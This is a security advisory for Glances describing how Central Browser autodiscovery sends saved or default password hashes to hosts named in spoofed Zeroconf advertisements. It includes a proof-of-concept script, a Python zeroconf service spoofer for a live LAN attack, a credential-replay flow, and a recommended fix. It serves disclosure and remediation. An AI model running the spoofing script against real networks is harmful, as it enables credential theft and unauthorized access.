GHSA-vx5f-957p-qpvm

Glances Central Browser Autodiscovery Leaks Reusable Credentials to Zeroconf-Spoofed Servers

## Summary In Central Browser mode, Glances stores both the Zeroconf-advertised server name and the discovered IP address for dynamic servers, but later builds connection URIs from the untrusted advertised name instead of the discovered IP. When a dynamic server reports itself as protected, Glances also uses that same untrusted name as the lookup key for saved passwords and the global `[passwords] default` credential. An attacker on the same local network can advertise a fake Glances service over Zeroconf and cause the browser to automatically send a reusable Glances authentication secret to an attacker-controlled host. This affects the background polling path and the REST/WebUI click-through path in Central Browser mode. ## Details Dynamic server discovery keeps both a short `name` and a separate `ip`: ```python # glances/servers_list_dynamic.py:56-61 def add_server(self, name, ip, port, protocol='rpc'): new_server = { 'key': name, 'name': name.split(':')[0], # Short name 'ip': ip, # IP address seen by the client 'port': port, ... 'type': 'DYNAMIC', } ``` The Zeroconf listener populates those fields directly from the service advertisement: ```python # glances/servers_list_dynamic.py:112-121 new_server_ip = socket.inet_ntoa(address) new_server_port = info.port ... self.servers.add_server( srv_name, new_server_ip, new_server_port, protocol=new_server_protocol, ) ``` However, the Central Browser connection logic ignores `server['ip']` and instead uses the untrusted advertised `server['name']` for both password lookup and the destination URI: ```python # glances/servers_list.py:119-130 def get_uri(self, server): if server['password'] != "": if server['status'] == 'PROTECTED': clear_password = self.password.get_password(server['name']) if clear_password is not None: server['password'] = self.password.get_hash(clear_password) uri = 'http://{}:{}@{}:{}'.format( server['username'], server['password'], server['name'], server['port'], ) else: uri = 'http://{}:{}'.format(server['name'], server['port']) return uri ``` That URI is used automatically by the background polling thread: ```python # glances/servers_list.py:141-143 def __update_stats(self, server): server['uri'] = self.get_uri(server) ``` The password lookup itself falls back to the global default password when there is no exact match: ```python # glances/password_list.py:45-58 def get_password(self, host=None): ... try: return self._password_dict[host] except (KeyError, TypeError): try: return self._password_dict['default'] except (KeyError, TypeError): return None ``` The sample configuration explicitly supports that `default` credential reuse: ```ini # conf/glances.conf:656-663 [passwords] # Define the passwords list related to the [serverlist] section # ... #default=defaultpassword ``` The secret sent over the network is not the cleartext password, but it is still a reusable Glances authentication credential. The client hashes the configured password and sends that hash over HTTP Basic authentication: ```python # glances/password.py:72-74,94 # For Glances client, get the password (confirm=False, clear=True): # 2) the password is hashed with SHA-pbkdf2_hmac (only SHA string transit password = password_hash ``` ```python # glances/client.py:55-57 if args.password != "": self.uri = f'http://{args.username}:{args.password}@{args.client}:{args.port}' ``` There is an inconsistent trust boundary in the interactive browser code as well: - `glances/client_browser.py:44` opens the REST/WebUI target via `webbrowser.open(self.servers_list.get_uri(server))`, which again trusts `server['name']` - `glances/client_browser.py:55` fetches saved passwords with `self.servers_list.password.get_password(server['name'])` - `glances/client_browser.py:76` uses `server['ip']` for the RPC client connection That asymmetry shows the intended safe destination (`ip`) is already available, but the credential-bearing URI and password binding still use the attacker-controlled Zeroconf name. ### Exploit Flow 1. The victim runs Glances in Central Browser mode with autodiscovery enabled and has a saved Glances password in `[passwords]` (especially `default=...`). 2. An attacker on the same multicast domain advertises a fake `_glances._tcp.local.` service with an attacker-controlled service name. 3. Glances stores the discovered server as `{'name': <advertised-name>, 'ip': <discovered-ip>, ...}`. 4. The background stats refresh calls `get_uri(server)`. 5. Once the fake server causes the entry to become `PROTECTED`, `get_uri()` looks up a saved password by the attacker-controlled `name`, falls back to `default` if present, hashes it, and builds `http://username:hash@<advertised-name>:<port>`. 6. The attacker receives a reusable Glances authentication secret and can replay it against Glances servers using the same credential. ## PoC ### Step 1: Verified local logic proof The following command executes the real `glances/servers_list.py` `get_uri()` implementation (with unrelated imports stubbed out) and demonstrates that: - password lookup happens against `server['name']`, not `server['ip']` - the generated credential-bearing URI uses `server['name']`, not `server['ip']` ```bash cd D:\bugcrowd\glances\repo @' import importlib.util import sys import types from pathlib import Path pkg = types.ModuleType('glances') pkg.__apiversion__ = '4' sys.modules['glances'] = pkg client_mod = types.ModuleType('glances.client') class GlancesClientTransport: pass client_mod.GlancesClientTransport = GlancesClientTransport sys.modules['glances.client'] = client_mod globals_mod = types.ModuleType('glances.globals') globals_mod.json_loads = lambda x: x sys.modules['glances.globals'] = globals_mod logger_mod = types.ModuleType('glances.logger') logger_mod.logger = types.SimpleNamespace( debug=lambda *a, **k: None, warning=lambda *a, **k: None, info=lambda *a, **k: None, error=lambda *a, **k: None, ) sys.modules['glances.logger'] = logger_mod password_list_mod = types.ModuleType('glances.password_list') class GlancesPasswordList: pass password_list_mod.GlancesPasswordList = GlancesPasswordList sys.modules['glances.password_list'] = password_list_mod dynamic_mod = types.ModuleType('glances.servers_list_dynamic') class GlancesAutoDiscoverServer: pass dynamic_mod.GlancesAutoDiscoverServer = GlancesAutoDiscoverServer sys.modules['glances.servers_list_dynamic'] = dynamic_mod static_mod = types.ModuleType('glances.servers_list_static') class GlancesStaticServer: pass static_mod.GlancesStaticServer = GlancesStaticServer sys.modules['glances.servers_list_static'] = static_mod spec = importlib.util.spec_from_file_location('tested_servers_list', Path('glances/servers_list.py')) mod = importlib.util.module_from_spec(spec) spec.loader.exec_module(mod) GlancesServersList = mod.GlancesServersList class FakePassword: def get_password(self, host=None): print(f'lookup:{host}') return 'defaultpassword' def get_hash(self, password): return f'hash({password})' sl = GlancesServersList.__new__(GlancesServersList) sl.password = FakePassword() server = { 'name': 'trusted-host', 'ip': '203.0.113.77', 'port': 61209, 'username': 'glances', 'password': None, 'status': 'PROTECTED', 'type': 'DYNAMIC', } print(sl.get_uri(server)) print(server) '@ | python - ``` Verified output: ```text lookup:trusted-host http://glances:hash(defaultpassword)@trusted-host:61209 {'name': 'trusted-host', 'ip': '203.0.113.77', 'port': 61209, 'username': 'glances', 'password': 'hash(defaultpassword)', 'status': 'PROTECTED', 'type': 'DYNAMIC'} ``` This confirms the code path binds credentials to the advertised `name` and ignores the discovered `ip`. ### Step 2: Live network reproduction 1. Configure a reusable browser password: ```ini # glances.conf [passwords] default=SuperSecretBrowserPassword ``` 2. Start Glances in Central Browser mode on the victim machine: ```bash glances --browser -C ./glances.conf ``` 3. On an attacker-controlled machine on the same LAN, advertise a fake Glances Zeroconf service and return HTTP 401 / XML-RPC auth failures so the entry becomes `PROTECTED`: ```python from zeroconf import ServiceInfo, Zeroconf import socket import time zc = Zeroconf() info = ServiceInfo( "_glances._tcp.local.", "198.51.100.50:61209._glances._tcp.local.", addresses=[socket.inet_aton("198.51.100.50")], port=61209, properties={b"protocol": b"rpc"}, server="ignored.local.", ) zc.register_service(info) time.sleep(600) ``` 4. On the next Central Browser refresh, Glances first probes the fake server, marks it `PROTECTED`, then retries with: ```text http://glances:<pbkdf2_hash_of_default_password>@198.51.100.50:61209 ``` 5. The attacker captures the Basic-auth credential and can replay that value as the Glances password hash against Glances servers that share the same configured password. ## Impact - **Credential exfiltration from browser operators:** An adjacent-network attacker can harvest the reusable Glances authentication secret from operators running Central Browser mode with saved passwords. - **Authentication replay:** The captured pbkdf2-derived Glances password hash can be replayed against Glances servers that use the same credential. - **REST/WebUI click-through abuse:** For REST servers, `webbrowser.open(self.servers_list.get_uri(server))` can open attacker-controlled URLs with embedded credentials. - **No user click required for background theft:** The stats refresh thread uses the vulnerable path automatically once the fake service is marked `PROTECTED`. - **Affected scope:** This is limited to Central Browser deployments with autodiscovery enabled and saved/default passwords configured. Static server entries and standalone non-browser use are not directly affected by this specific issue. ## Recommended Fix Use the discovered `ip` as the only network destination for autodiscovered servers, and do not automatically apply saved or default passwords to dynamic entries. ```python # glances/servers_list.py def _get_connect_host(self, server): if server.get('type') == 'DYNAMIC': return server['ip'] return server['name'] def _get_preconfigured_password(self, server): # Dynamic Zeroconf entries are untrusted and should not inherit saved/default creds if server.get('type') == 'DYNAMIC': return None return self.password.get_password(server['name']) def get_uri(self, server): host = self._get_connect_host(server) if server['password'] != "": if server['status'] == 'PROTECTED': clear_password = self._get_preconfigured_password(server) if clear_password is not None: server['password'] = self.password.get_hash(clear_password) return 'http://{}:{}@{}:{}'.format(server['username'], server['password'], host, server['port']) return 'http://{}:{}'.format(host, server['port']) ``` And use the same `_get_preconfigured_password()` logic in `glances/client_browser.py` instead of calling `self.servers_list.password.get_password(server['name'])` directly.